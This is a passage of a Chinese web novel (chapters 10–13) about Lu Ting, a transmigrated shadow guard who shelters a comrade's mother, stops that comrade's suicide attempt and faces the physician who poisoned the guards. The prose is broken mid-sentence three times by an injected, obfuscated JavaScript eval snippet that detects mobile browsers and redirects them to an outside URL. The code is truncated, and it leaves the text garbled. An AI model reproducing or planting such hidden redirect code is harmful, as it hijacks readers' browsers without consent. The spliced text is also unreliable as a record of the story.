陆停站在阿七身后,看着那扇门被完全推开。门里站着一个老妇人,头发花白,梳得整整齐齐,在脑后挽了个髻。穿一身青灰色的布裙,干干净净。她站在那里,脸微微侧着,眼睛虽然看不见,却准确地朝向阿七的方向。 “怎么这时候回来?”她的声音带着关切,“你不是夜里要当差吗?” 阿七没答话,上前一步,把老娘的手握住,扶着老娘回屋,陆停紧随其后。 陆停看着这院子。不大,三间屋子。堂屋连着卧房,右手边是灶房。今夜是元宵,是团圆日子,但这院子冷冷清清的。迈进屋里,只看见桌上搁着一盏油灯,孤零零地东摇西摆。倒是旁边摆着的几碟子精致的小点心,给这家抬了档次。 不用猜,这样好的吃食,一定是阿七托人送回来的。 陆停看着这一幕,忽然想起阿七之前说的话——“我老娘拿着我寄回去的钱,在春月楼入了股”。 现下来看,这是中等人家,不穷,但也绝不算富。 阿七已经开始收拾了。他动作很快,从箱子里翻出几件衣裳,打了包袱,又摸出一个布袋,往里装了几个干饼。 老娘站在一旁,听着他忙活的动静,脸上的表情从疑惑变成不安。 “阿七,出什么事了?” 阿七手上没停,嘴里道:“没事,娘,我送你回乡下去住几天。” 老娘沉默了一瞬。 然后她开口,声音很冷静:“是不是春月楼出事了?” 阿七的动作顿了一下。 老娘继续说:“当初让我入股的是王府的人。他们给的钱,说是定期给好处,其实一直扣着,拿不到。我就知道,那钱没那么好拿。” 讲到这里,她怔愣片刻,叹了口气。这接下来的话,是不必多说了。 陆停靠在门框上,听着这番话,心想:这老太太,活得还真是通透明白。 阿七没接话,把包袱系好,走过去扶老娘:“娘,先走,路上说。” 老娘也没再问,任由他扶着往外走。路过陆停身边时,她忽然停了步,脸转向陆停的方向。 “这个后生是谁?” 阿七立即介绍道:“阿停,是和我一道做事的兄弟。” 老娘点点头,忽然伸手,在陆停胳膊上轻轻拍了拍。 “好孩子,”她说,“麻烦你了。” 陆停笑了笑,心说这样的母亲教导出来的孩子,是不会差的。难怪阿七也是那样憨直。 三人很快出了门,阿七背起老娘,陆停跟在后面警戒。 夜很深了,街上空无一人。元宵的花灯早熄了,只剩零星几盏还亮着,在风里动。偶尔有狗被惊动,叫两声又停住。 阿七走得不快,但很稳。老娘伏在他背上,一声不吭。 陆停跟在后面,耳朵竖着,眼睛四下扫。好在,一路平安。 那座院子在城中偏僻处。是阿七带的路,七拐八绕,钻进一条巷子,走到尽头,推开一扇歪斜的木门。 门内是个小院。 很破。和之前暗卫们集合的那个院子差不多。砖缝里长着枯草,墙根堆着烂叶子,院中一口古井,井沿的石头上生着青苔。 正屋一间,门虚掩着。 阿七推开门,一股尘土味扑出来。 陆停跟进去,借着月光看——屋里是大通铺,一张土炕占了大半间,炕上铺着旧席子,席子上落着厚厚的灰。墙角堆着些破破烂烂的物什,像是以前住过的人留下的。 阿七把老娘放在炕沿上坐下,然后开始收拾。 他先是把炕上的席子拎起来,抖了抖,灰扬得满屋都是。老娘咳了两声,他立刻停了手,回头看了一眼,又把席子放轻了拍。 接着他从角落里翻出一床被褥,旧是旧,但比炕上那些干净些。他拍了拍,铺在炕上,扶老娘躺下。 “娘,你先歇着,”他说,声音尽量维持着平静,好让老娘安心,“明天一早我就送你走。” 老娘躺在那儿,脸朝着他的方向。 “阿七,”她还是担心,“你自己要小心。” 阿七嗯了一声。 老娘又说:“那笔钱,拿不到就算了。人平安就好。” 阿七又嗯了一声。 旁边的陆停静静听着。看来这位老太太以为今夜的出逃是因为钱闹出来的,却不知春月楼发生了那样惊天动地的大事。 就是活了这么久的老人,估计也没见过这样的世面吧,真是奇了。 陆停听着他们娘俩絮叨,手上也没闲着,收拾起旁边的铺子,很快弄得干净了一些,仰面躺上去。 原本陆停是想还和他们多说几句的。 但确实是撑不住了。 耳边,阿七和老娘还在絮叨。声音很远,像隔着一层水。 “娘,乡下的房子还在吗?” “在,托人照看着。” “那就好,我送你回去,住一阵子。” “你呢?” “我没事,过段时间去看你。” “阿七,你老实说,是不是很危险?” “……没事的,娘。” 陆停听着这些话,意识渐渐模糊。 他想起自己之前还担心有人打呼吵到自己——真是想多了。现在就算有人在耳边敲锣,他也睁不开眼。 困意像潮水一样涌上来,将他整个人淹没。他头一歪,沉沉睡去。 院中明月高悬。 * 离天亮约莫还有半个时辰的时候,陆停醒了。 这次是真的奇怪。明明陆停是身穿,却继承了这个身份在这世界里的很多习惯与特征。就拿今晚来说,他已累到极致,却在沉睡上一会儿后便将精力恢复得满满当当。快充充电器都没这么高效。 实在是无法再继续睡下去了,陆停就干脆翻身起来,独自到院中站着,抬头看月。 陆停的心里有种微妙的庆幸。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17224145|197542||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是该庆幸。自从被卷入这个无限流世界以来,隔三岔五地接到灵异任务。在副本里,最可怕的无疑就是夜晚,鬼魅横行,活人战栗。 陆停记得和弟弟一起到第一个副本的时候,夜里窗外人影幢幢,个个的脖子都伸得老长,露出折断的筋骨和肉,手里还握着电棍。 玩家们被吓哭都是很正常的,很多房间里都在鬼哭狼嚎。 那时陆娇趴在床上挨着他哥,真诚地说:“哥我错了,我再也不去网吧通宵上网了,你可以帮我在这个网瘾学校里办退学吗?” 陆停便对着他咬着牙笑: “你见过家长和孩子一起在网瘾学校里读书的吗?我闲着没有事做了啊,来给你陪读?家里电不够用了,来偷电是吗?你清醒一点,这里是副本,副本!孤岛酒店,闹鬼的那种。” 陆娇睁着眼,无辜地道:“那说不定今天是校园开放日呢。你是家长,来参观听课,顺手挨几下电棍了解教学理念,很合理啊。” 陆停:“……”很好,不害怕了,甚至觉得今晚是下雨天,好闲啊,该打孩子了。 被卷入诸多副本中,说心里不害怕是假的,但有弟弟在身边,总归能得到一些慰藉。 后来和陆停相处过的玩家,总说陆停说话和行事的风格很清奇,却不知他还有一个同样跳脱的弟弟。 而陆娇,在遇到别人时,他也会淡淡说:“你觉得我离谱?那是你没见过我哥。” 兄弟俩,总是灵魂相系的。从某种程度来说,陆停带大了弟弟,也一手塑造了他。 可是陆停把弟弟搞丢了。 此刻,陆停望着院中古井,心想若是在副本里,夜间这井水中,肯定得爬出来一位女鬼,或者冒血水泡泡。 但偏偏现在无事发生。讲真,从穿越过来以后,陆停碰上了这么多事,这么多人,但就是没有遇见鬼。 搁在平常的副本里,这都算是平安夜了,该喝一罐可乐好好庆祝。 啧,平安夜。果真平安吗? 陆停又在心里叫着系统,但无人回应。接着,他伸手摸进自己衣襟里,想从随身的系统空间中摸点什么出来。 结果手中并没有摸到他想要的实质性的东西,不仅如此,陆停还感到手里有些黏糊。 掏出来一看——一手的鲜血。 并不是自己受了伤,而是手心里就这么沾了大片鲜血。 在多个副本里锻炼出的胆量使得陆停没有发出尖叫。他起身,第一反应是得赶紧洗了,万一这会儿阿七起夜,被他看到可不好。 于是向古井走去,打一桶水上来,洗干净手,将血水泼在地上,融入泥土中。 做完这些,陆停蹲着,沉思起来。 系统看样子是彻底失灵了。往日他最喜欢的系统空间,如今也不能用了。 这个古代世界,和他往常遇到的副本都不一样。无系统,更无任务提示,似乎游戏和他开了个天大的玩笑,将他抛在这样的陌生环境里,由着他跌跌撞撞。 不过陆停并不是毫无方向与头绪。 陆停不由得地想起在箱子里看到的那张试卷,嘴角勾起笑意。 我好像找着他了。 真是美梦。 “嗷——”远处,雄鸡破晓。 身后,阿七不知何时已来到门口,冲着陆停点头致意。 陆停就站起来,拍拍手,面色如常。 昨晚才接受了穿越事实的人,这时看着,竟有几分老谋深算的样子。 11. 第 11 章 阿七在城中还是有些人脉的,雇了车夫,拜托了熟识的人来护送老娘。陆停和他们一起出了城,送行。 马车远去的影子融进清晨的薄雾里,像一滴雨落入水中,很快就看不见了。 陆停站在路边的老槐树下,望着那条延伸向城外的土路,耳边还回响着木轮碾过泥土的咕噜声。阿七的娘临行前掀开车帘,朝着他们的方向挥了挥手——她看不见,但她知道儿子站在那里。 阿七站在陆停身侧,一直目送着马车消失,整个人还保持着那个姿势,一动不动。 陆停没催他。 清晨的风从城外吹来,带着田野里泥土的气息,和城里那些脂粉、血腥、烛火混在一起的味道完全不同。陆停深吸一口气,觉得胸口那团堵了一夜的郁气散了不少。 不知过了多久,阿七终于动了。 他转过身,面对着陆停,忽然双手抱拳,深深一揖。 这一揖做得很重,看得陆停愣了一下,下意识伸手去扶:“干什么?” 阿七没起来。 他就那样弯着腰,声音从下面传上来,很真诚:“阿停,往日我没看出来,你是个热心肠的人。” 陆停扶他的手这下悬在半空。 热心肠?他低头看看自己——黑衣,劲装,腰侧别着匕首,脚上一双薄底快靴。这一身打扮,加上暗卫的身份,怎么看都和“热心肠”三个字不沾边。 阿七则是直起身,脸上带着一种诚恳的、近乎憨直的表情:“我是说真的。咱们这些做暗卫的,平日里谁不是各顾各的?保命还来不及,哪有闲心管别人的事。可你不一样,你昨夜二话不说就帮我,还帮着想主意、找地方……” 他停了停,想夸人,最后只憋出一句: “你是个好人。” 陆停:“……” 陆停看着阿七那张真诚的脸,心里忽然冒出一个念头:原本的我在这个世界里,到底是个什么样的人? 阿七说“往日没看出来”,意思是原主平日里并不是这种作风。那原主是什么样的?沉默寡言?独来独往?冷面冷心? 陆停不动声色地收回手,顺势往树干上一靠,摆出一副随意的姿态。 “往日?”他接了一句,语气轻描淡写,“往日我就那么冷淡?” 阿七点点头。 陆停继续试探:“平日里我这个人,是不是不太好相处?” 这话问得巧妙。不是直接问“我是什么样的人”,而是用一种自我调侃的语气抛出去,让对方下意识地反驳或者解释。 果然,阿七上钩了。 他挠了挠头,表情有些不好意思:“也不是不好相处……就是……你平时话太少了。咱们虽然都是王府的暗卫,但平日里碰面也就点个头。昨夜是第一次搭班,我才知道你是这样的。” 陆停“嗯”了一声,示意他继续。 阿七继续道:“昨夜要不是你及时喂我吃解药,我可能就栽在房梁上了。后来又在春月楼,你帮我出主意,帮我安置老娘……阿停,这份情,我记下了。” 他说着,又要行礼。 陆停赶紧伸手拦住:“行了行了,别这么客气。” 阿七顺势直起身,笑了笑。那笑容显得有几分憨厚。 但随即,那笑容淡了下去。 阿七垂下眼,看着自己的脚尖。地上有几片落叶,被夜里的露水打湿,贴着泥土。他盯着那几片叶子看了一会儿,忽然开口。 “阿停。” “嗯?” “我还有一件事,想拜托你。” 陆停心里一动,隐约有种不好的预感。 他抬起头,看向阿七。 阿七也抬起头,看着他。那双眼睛里的光是一种很平静的、近乎死寂的东西。 然后阿七动了。 他的动作极快,快到陆停的眼睛几乎追不上——右手往腰间一抹,匕首已出鞘,寒光一闪,直往自己脖颈上抹去。 陆停的脑子还没反应过来,身体已经先动了。 暗卫的本能让他瞬间弹射出去,一脚踢在阿七手腕上。 “当啷——” 匕首飞出去,落在几步外的地上,银光在晨光里晃了晃,躺进草丛里。 阿七踉跄了一步,手腕被踢得发麻,整个人愣在原地。他抬起头,看着陆停,眼神里带着茫然。 陆停昨夜被折腾得够呛,今早看见阿七又突然来了这么一出,实在是无语至极,没好气地开口问道:“你在干什么?” 阿七张了张嘴,没发出声音。 陆停走过去,把匕首踢得更远一些,然后转身看着他。晨光从槐树的枝叶间漏下来,照在阿七脸上,把他那张脸照得惨白。 “说话。”陆停的语气硬了几分。 阿七垂下眼。 他站在那儿,肩膀塌着,整个人像被抽去了骨头。好一会儿,他才开口,声音沙哑得厉害。 “我娘……虽然送出去了,但我怕。” 他说得很慢,像在努力组织语言。 “王府的手段,阿停你也是知道的。他们想找的人,没有找不到的。我娘就算躲回乡下去,万一哪天王府想起来,派人去查……” 说到这里,阿七想到了可怕的未来,下定决心: “我死了,他们就不会追究我娘了。一命换一命,我这条命换我娘平安,值得。你把我的尸身带回去,也算立功。” 陆停听着这番话,一时无语。 那要是这样说,我弟拐走了世子,我也很该死上一死啊。 兄弟,你娘亲的事和我弟弟的事一比,这算什么呢? 要不咱俩双双自刎算了,只怕路过的人见了咱俩的尸首,还以为咱俩是在殉情。这样一来,就毫无价值了,最多为大家的话本子提供一些素材,没准百年后cp展上还能有你我的同人制品摊位一个…… 啊打住,打住,真是副本待久了,见得多了,学得杂了。 陆停看着阿七那张脸,看着那双眼睛里的茫然和绝望,忽然什么都说不出来。 这个人是认真的。 这王府过于可怕,可怕到让人甘心用自己的命来换一个不追究。 陆停沉默了几秒,然后开口。 “我问你。” 阿七抬起头。 “王府现在头等的大事是什么?” 阿七愣了一下,下意识回答:“找……找世子。” “对。”陆停点头,循循善诱,像以前教导弟弟那样,“找世子。世子丢了,王爷震怒,整个王府从上到下都在忙这件事。你觉得在这种时候,王爷真有闲心去多管一个入股春月楼的老太太?此时送你娘走,只是为了更保险更安全,多一手准备。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17224146|197542||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阿七张了张嘴。 陆停继续道:“徐玥那事儿闹得那么大,王爷真正在意的是什么?你自己想想。” 阿七垂下眼,像是在思索。 陆停便往前走了两步,进一步地说: “你要想的是——万一呢?” 这话有深意。阿七彻底听进去了,抬眼看着陆停。 陆停接着引导他:“万一王府压根就不在意这种小事呢?万一你娘跑出去,他们也就懒得追了呢?万一你活着,你娘也活着,过几个月这事就没人记得了呢?” 阿七的眼神里闪过一丝光,但很快又暗下去。 “可万一他们追究呢……” “那也得等到追究的时候再说。”陆停打断他,“你现在自刎了,万一他们本来不打算追究,你这不是白死了?” 阿七愣住。 陆停看着他,放缓了语气。 “人生在世,要学会赌。” “赌?”阿七茫然地重复。 “对,赌。”陆停说,“赌那个对自己有利的万一。你刚才赌的是什么?赌的是你死了,王府就会放过你娘。可那只是你的猜测,你没证据。你拿自己的命,去赌一个不一定成立的猜测。” 他伸出手,拍了拍阿七的肩。 “要赌,就赌对自己有利的。赌王府顾不上追查你娘,赌她能平平安安活下去,你们娘俩还能再见面。这个万一,比那个万一更划算。” 这是来自无限流老玩家的生存之道,算是倾囊相授了。要知道,副本里决定人的生死的,有时就是心态。心态好了,鬼都要怕你几分。 陆停其实也在赌,赌自己的弟弟能顺利度过这场劫难。如若不能,他也得亲自上场,把这件事办成了。 陆停要活着。他才不要用自己的命摇尾乞怜。 此时,阿七站在那里,一动不动。 陆停的手还搭在他肩上,能感觉到那肩膀在微微发抖。 阿七低下头,看着自己的手。那只手还保持着握着匕首的姿势,但匕首已经不在手里了。他盯着空空的手掌看了一会儿,忽然用力攥紧。 “我记住了。”他说,声音很轻,但很用力,“我记住了。” 陆停没再说什么。 晨光越来越亮,雾气渐渐散开。远处传来几声鸡鸣,还有早起赶路的人声。 阿七弯腰,把草丛里的匕首捡起来,插回腰间。他直起身,看向陆停,那张脸上终于有了一点活气。 不过此刻,轮到陆停的脸色沉了沉。 在两人施展轻功,一路掠过诸多房屋,回王府报到的路上,陆停心事重重。 陆停在想,阿七的老娘只是入股了春月楼,还是被逼的,都有可能受到牵连,他的儿子都战战兢兢的。说不定,回去后王府还要盘问阿七,罚他俸禄什么的。 那自己的弟弟陆娇呢?自不必多说,被逮到了就小命不保。 而他,他陆停是谁? 是陆娇的哥哥。 陆停心里一凉,脚下随之差一点踢碎人家房顶的瓦片。 之前还沉浸在找到弟弟的美梦里的陆停,终于彻底地、清醒地意识到一个事实,一个早就摆在眼前的麻烦。 我是陆娇他哥,是罪魁祸首他哥! 现在真正处在暴风雨中心的,到底是谁啊? 啊? 12. 第 12 章 很好,陆停现在的心里有种酥酥麻麻的奇异感。 也许能简称为人麻了。 陆停望着前方阿七的背影,在心里长叹一声。 真的,老娘入股春月楼算什么呢?我这边才算来了个大的。 弟弟闯了祸潇潇洒洒走了,留着兄长在这里补天。 你哥又不是女娲! 而且我就算是把自己弄死了还切成片,搞成美味刺身献给王爷,估计也不顶用的吧? 还不如好好活着博上一把。 问题在于……现在想要安生地活下去,似乎都有点难。 * 此时陆娇早就拐着世子不知跑出几百里地去了。他闯的祸大,但短期来看,并无性命之虞。 阿七的老娘也被送出去了,她只是和春月楼有点金钱上的往来,更不可能有杀身之祸。 但陆停就不一样了,他是罪魁祸首他哥,还在王府做着暗卫呢,正要送上门去。 方才还在劝着阿七赌个万一的陆停,这会儿满脑子在想一个问题: 万一王府知道我是陆娇他哥,我是不是就完蛋啦? 立马完蛋那种。 心里打鼓归打鼓,陆停还是定下心神,想着至少目前来看,王府也好,身边人也好,应当没人知道他和陆娇的关系,不然就在昨夜陆娇这个名字出现的时候,他就被抓了。这是不幸中的万幸。 王府近在眼前,陆停立在屋顶上停住。寒风凛冽,吹着他脑后高高束着的马尾发。 冷。陆停将面罩向上拽了拽,只露出一双幽深的眼。 有红色的鸟从王府上空掠过,被箭矢追上,直直坠下。 陆停就在这儿立着,目睹着一切。 他告诫自己: 记住了,你是阿停,是王府的暗卫。 你只能是阿停。 这就是你如今的身份。 从这一刻起,陆停这才觉得,自己是真正踏入了这个世界。 * 两人落在王府后巷,从侧门进去。 这扇门很小,门板刷着和墙壁一样的灰漆,不仔细看根本发现不了。阿七推开门,侧身进去,陆停跟在后面,眼前豁然开朗。 是一间不大的院子,三面有屋,中间一口井。院子里已经有人在走动,都是黑衣劲装,行色匆匆。看见阿七和陆停进来,有人点个头,有人目不斜视地擦肩而过。 阿七领着陆停往东边的屋子走。 这儿是换衣裳的地方,他们这些暗卫,衣裳不经穿。出任务沾了血,或者刮破了,就直接来这儿领新的。 陆停跟进去一看,屋子不大,靠墙立着几排架子,架子上叠得整整齐齐的全是黑衣。从上到下,从里到外,一应俱全。旁边还有几个柜子,柜门开着,里头放着靴子、腰带、护腕这些零碎。 已经有几个人在里面了。他们背对着门,正把沾着泥点血污的旧衣裳往下扒,换上架子上那些叠得方方正正的新衣。动作很快,没人说话,只有布料窸窣的声音。 陆停扫了一眼,认出几张脸——昨夜在春月楼见过的。有人背上还缠着绷带,白色的布条从衣领边缘露出来,渗着淡淡血迹。 阿七已经走到架子前,开始解自己的衣襟。 陆停也跟过去,伸手去拿架子上的一套衣裳。和昨夜在春月楼换的那身便服完全不同,这是真正的暗卫制式——方便行动,耐磨,扔进人群里也不扎眼。 陆停三两下把旧衣裳脱了,换上新的。他把原来的衣服卷成一团,往墙角的大筐里一扔。 阿七也换好了。 两人对视一眼,都从对方眼里看到了一种相似的疲惫。 “走吧,”阿七说,“该去点卯了。” * 两人到的时候,院子里已经站了不少人。陆停扫了一眼,只见那些人三三两两站着,或沉思,或仰头望天,没有人交谈。 陆停数了数。 满院子的暗卫加起来,拢共十六个。 陆停心里一动。 昨夜春月楼外,他听阿七说过,世子跟丢那天,跟着出来的暗卫一共十七个。后来在破院子里挨鞭子,也是十七个。 现在少了一个。 陆停不动声色地收回视线,站进人群里,和阿七并排。 片刻后,院门被推开。 进来的不是昨夜那个青衫人。 也是个穿素色长衫的,不过是五十来岁,留着长须,手里捏着一本册子。他走路不快,步子稳稳的,袍角扫过地面,带起一点点灰尘。 他站到院子中间,翻开册子,开始点名。 “阿成。” “到。” “阿贵。” “到。” “阿七。” 阿七应声:“到。” “阿停。” 陆停想着这里的人似乎都是只用化名相称,安心了一些,开口:“到。” 那人的声音不高,但每个字都清清楚楚。他点得很慢,念一个名字,抬眼看一眼应声的人,目光从那人脸上滑过,然后落到册子上,念下一个。 点完名字,那人合上册子:“你们照常当差。散了之后去吃饭,巳时三刻,各归各位。” 接着,这人的目光扫过院中众人,落在几个站姿略显不稳的人身上。 那几个人垂着头,手垂在身侧,很恭顺,但陆停注意到,有人袖口有一大块干涸的污渍——不是血,是酒渍。 点名的人眯了眯眼。 “昨夜的事,我吴某不管。”他说,语气还是淡淡的,“但往后,若是还有人去赌钱吃酒,误了差事——” 他停顿了一下。 “必有重罚。” 那几个人垂着头,一声不吭。 陆停心中暗暗佩服,觉着这些人是真有劲头,昨夜都闹成那样了,你们还有精神头去赌钱吃酒? 那边,吴先生则是没再多说,把册子往袖中一收,转身走了。 院子里静了几秒,然后人群开始松动。有人往院门走,有人站在原地伸了个懒腰,还低声骂了句什么。 阿七碰了碰陆停的胳膊:“走,吃饭去。” * 王府给暗卫的伙食不错。 食堂在东边另一个院子里,三间屋子打通,摆着十几张方桌。陆停和阿七进去的时候,已经有人坐在桌边了。 陆停扫了一眼,吃饭的人不多,稀稀拉拉坐着几个。他和阿七端着吃食,找了个角落的位置坐下。 白粥。肉包子。三碟小菜——一碟腌萝卜,一碟酱黄豆,一碟爽口的拌黄瓜。 陆停低头看了一眼,觉得饿。 昨夜到现在,只在那间包房里吃了半碗元宵,一路折腾下来,胃早就空了。 他端起碗,喝了一口粥。白粥熬得正好,不稀不稠,米香混着一股淡淡的甜。他又咬了一口包子——肉馅,咸鲜,汁水在嘴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17224147|197542||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里炸开。 阿七也是,沉浸在吃饭的快乐中,他们俩就是最好的吃饭搭档。 但陆停注意到,这间大屋子里,除了他和阿七,其他桌的人吃得都很慢。有人拿筷子拨着粥,半天不往嘴里送一口。有人包子拿在手里,咬一口,嚼半天,像在嚼蜡。还有人干脆没动筷子,就坐在那儿发呆。 陆停咽下嘴里的包子,压低声音问阿七:“他们怎么不吃?” 阿七也咽下嘴里的东西,左右看了看,凑过来。 “等会儿郎中要来,”他压低声音,语气里带着一种说不清的复杂,“大家没心思吃饭。” 郎中? 陆停愣了一下:“郎中有啥可怕的?” 阿七看他一眼,那眼神很奇怪——像是惊讶,又像是恍然。 “你忘了?”他压低声音,“昨儿个咱们毒发提前了,肯定要让人来看看怎么回事。那个郎中……” 他想起不太愉快的往事: “当年给咱们种蛊的时候,手特别狠。” 陆停的筷子这下停在半空。 种蛊。 这个词像一根针,扎进他脑子里。 他想起在房梁上,阿七捂着肚子缩成一团的样子,还有那个白底青花的瓷瓶,瓶底刻着“宁”字。昨晚,那些暗卫在院子里捏碎蜡封、仰头咽下解药。 陆停把筷子放下,端起碗喝了一口粥,借着这个动作掩饰自己脸上的表情。 怀里那粒没用上的“解药”还在——山楂味的,闻着不对劲。当初他留了神,把东西好好地收着。 此时陆停猛然意识到,从昨夜到现在,他未曾毒发过。 一次都没有,好端端的。 他之前和阿七说自己是毒发了断了片不记得事了,那是扯谎。穿越来之前原主到底有没有毒发过,他根本不知道。不过至少从昨晚到今早,他没有像阿七那样疼得缩成一团过 陆停的心跳不由得快了一拍。 如果……如果我没中毒呢? 这个念头一旦冒出来,就再也压不下去。 他想:系统虽然失灵了,空间也不能用了,但也许在穿越的时候,它给我开了某种保护?或者原主本身就有问题?又或者…… 陆停又想起那个山楂味的解药。 难道原主早就发现解药有问题,偷偷换了?还是说…… 陆停深吸一口气,把碗放下。 对面,阿七还在埋头吃,没注意到陆停的异样。 陆停看着他,想起他刚才说的话——“那个郎中,当年给咱们种蛊的时候,手特别狠”。这个王府,就是靠着这种下作手段。 如果我没中毒,那就说明我不受王府控制。 这个念头像一团火,在陆停胸腔里烧起来,烧得旺旺的。 不受控制意味着什么? 意味着他可以跑路啊! 意味着他不用像这些暗卫一样,每个月等着那粒解药,等不到就死。 最重要的,是意味着他可以去找弟弟。 光明正大地找,不用顾忌什么王府和毒发,自由来去。 他只要找到陆娇,把那个臭小子拎回来——不,不是拎回王府,是拎到安全的地方,然后想办法从这个副本里出去,就万事大吉了。 陆停越想越兴奋,就差像昨晚的阿七那样,一拍大腿。 若是如此,我还做什么暗卫啊,留下来迟早会暴露,跑为上策! 13. 第 13 章 遗憾的是,陆停刚动了跑的念头,就听见一道声音传来,说是郎中到了。 那声音从院门口飘进来,每个人都听见了。 陆停端着粥碗的手顿了一下。他抬眼看去,只见院门口站着个小厮,十四五岁,揣着手,脸上没什么表情。 “一个一个来,”小厮说,“叫到名字的跟我走。” 食堂里的气氛瞬间变了。 所有人此刻都停下了手里的动作,没人说话。而陆停低下头,继续喝粥。 白粥已经凉了,米香还在,只是喝进嘴里有些发黏。他一口一口喝着,目光落在碗里,耳朵却听得仔细。 感谢继承来的暗卫的特质,听力是真的很好。 阿七坐在他对面,手里的包子还剩下半个,但已经不往嘴里送了。他就那么拿着,盯着包子馅发愣。 “阿成。” 第一个名字被叫到。 角落里有人站起身,把筷子往桌上一搁,跟着小厮往外走。他走得很稳,步子不快不慢,可细细去看,能瞧出脸上惨淡的神色。 屋里安静至极。只有偶尔的呼吸声,和窗外风吹过树叶的沙沙声。 第二个。第三个。第四个。一个一个往外走,没有一个回来的。 陆停把碗里最后一口粥喝完,放下碗。他看着对面的阿七,阿七也看着他,两人以目光交流着紧张。 陆停无奈地想:其实最该紧张的是我。 阿七他们紧张,是不知道郎中又会搞出什么新花样,变着法子地折磨他们。可陆停紧张,是因为他不知道自己到底有没有中毒。 要是没中毒,那不就露馅了? 而要是中毒了呢?那刚才那些兴奋岂不白费? 陆停只能深吸一口气,把那些念头压下去,告诉自己,见招拆招。 “阿七。”不多时,小厮的声音从门口传来。 这下阿七的身子僵了一下。他慢慢站起身,把手里那半个包子往桌上一放,看了陆停一眼。 陆停冲他点点头,阿七就仿佛得到某种鼓励一般,跟着小厮往外走。 陆停看着他的背影消失在院门口,忽然觉得时间过得很慢。像被黏住了,一格一格往前蹭。 不知道过了多久,门外有人影晃动。 陆停抬眼看去,只见两个人架着阿七,从院门口经过。 阿七的脸色惨白。他的头垂着,整个人软得像一摊泥,全靠那两个人架着才能往前走。腿在地上拖着,脚根本抬不起来。 一个如此健壮的男人,此时居然腿都是软的。 陆停看着他那张毫无血色的脸,心往下沉了沉。很快,阿七被架着往另一个方向去了,消失在视线里。 屋子里更安静了。陆停坐在那儿,手心里沁出薄薄的汗。 终于,小厮的声音从门口传来:“阿停。” 陆停站起身。他迈步往外走,步子很稳,一步一步。路过阿七坐过的位置时,他余光扫了一眼——那半个包子还搁在桌上,馅露在外面,已经凉透了。 等会儿回去了,要不再弄点东西来吃吧。 很快,另一个小厮领着陆停往东边去,绕过一道回廊,停在一间屋子门口。 “进去吧。”小厮说着,退后一步,站在门边,脸上居然还挂着些期待,也不知在等着看什么好戏。 陆停推开门,屋里便有一股淡淡的香气迎面而来。清冷、幽淡,像深山里寺庙的味道。窗开着半扇,外面枝叶摇曳。 靠窗的桌边坐着一个人,背对着门。 陆停只能看见他的背影——中年人的身形,穿着件石青色的长衫,头发梳得整齐,盘成发髻。他正低头翻着什么,动作很慢,很专注。 桌上摊着几本书。医书。陆停瞥见封皮上的字,是《伤寒论》之类的。 那背影依然在翻书,好像没察觉有人进来。过了一刻,他终于动了,慢慢转过身来。 竟是一张温文尔雅的脸。 四十来岁,眉目清朗,皮肤白净,留着两绺长须。他看着陆停,目光平静,甚至还带着一丝淡淡的笑意。 怎么看都不像心狠手辣之人。 陆停还注意到他的手。右手腕上,缠着一串珠子。是那种暗红色的、不知道什么材质的小珠子,一颗一颗串得紧紧的,缠了两圈。珠子很旧,表面磨得光滑,在光线里泛着幽幽的光。 那只手合上书,往桌上轻轻一放。 郎中站起身,往前走了两步,步子很慢。 走到陆停面前,他站住了。目光落在陆停身上。从上到下,从脸到肩,从肩到腰,又从腰回到脸。那目光扫得很慢,像在打量一个什么物件。 陆停:……大夫你这么看我,是不是还想说一句“太年轻了,好可惜”啊? 在医院里被医生这么认真地看着的话,心理脆弱的,都得推开窗表演一个快速下楼给你看。 蓦地,郎中的眼神变亮了。那种亮很奇怪,像猫看见了什么感兴趣的东西,瞳孔微微收缩,又慢慢放开。 接着郎中绕过陆停,前去伸出手把虚掩着的门紧紧关上。 门板合拢,隔绝了外面的光,屋里顿时暗了些。 郎中转过身,又看了陆停一眼。那一眼里的东西更浓了。像审视,又像好奇,还像别的什么。 不过总比不怀好意要强。 “坐。”郎中可算是开口了。 实在是够温和。一般的人大约很容易被这种温柔样子给骗过去。陆停还是站着,始终与他保持一些距离。 郎中也没再说什么。他走回桌边,在椅子上坐下,拿起那本医术,继续翻。翻得很慢,一页一页,像在找什么。 陆停想了想,终于迈步,在桌边的另一张椅子上坐下。他倒是要看看,这一位郎中的葫芦里,卖的究竟是什么药。 两人都是无言。只有翻书的声音,唰,唰,唰,一下一下。 陆停坐着,目光落在郎中脸上。郎中没看他,专心致志地翻书,好像他这个人不存在一样。 一页。两页。三页。 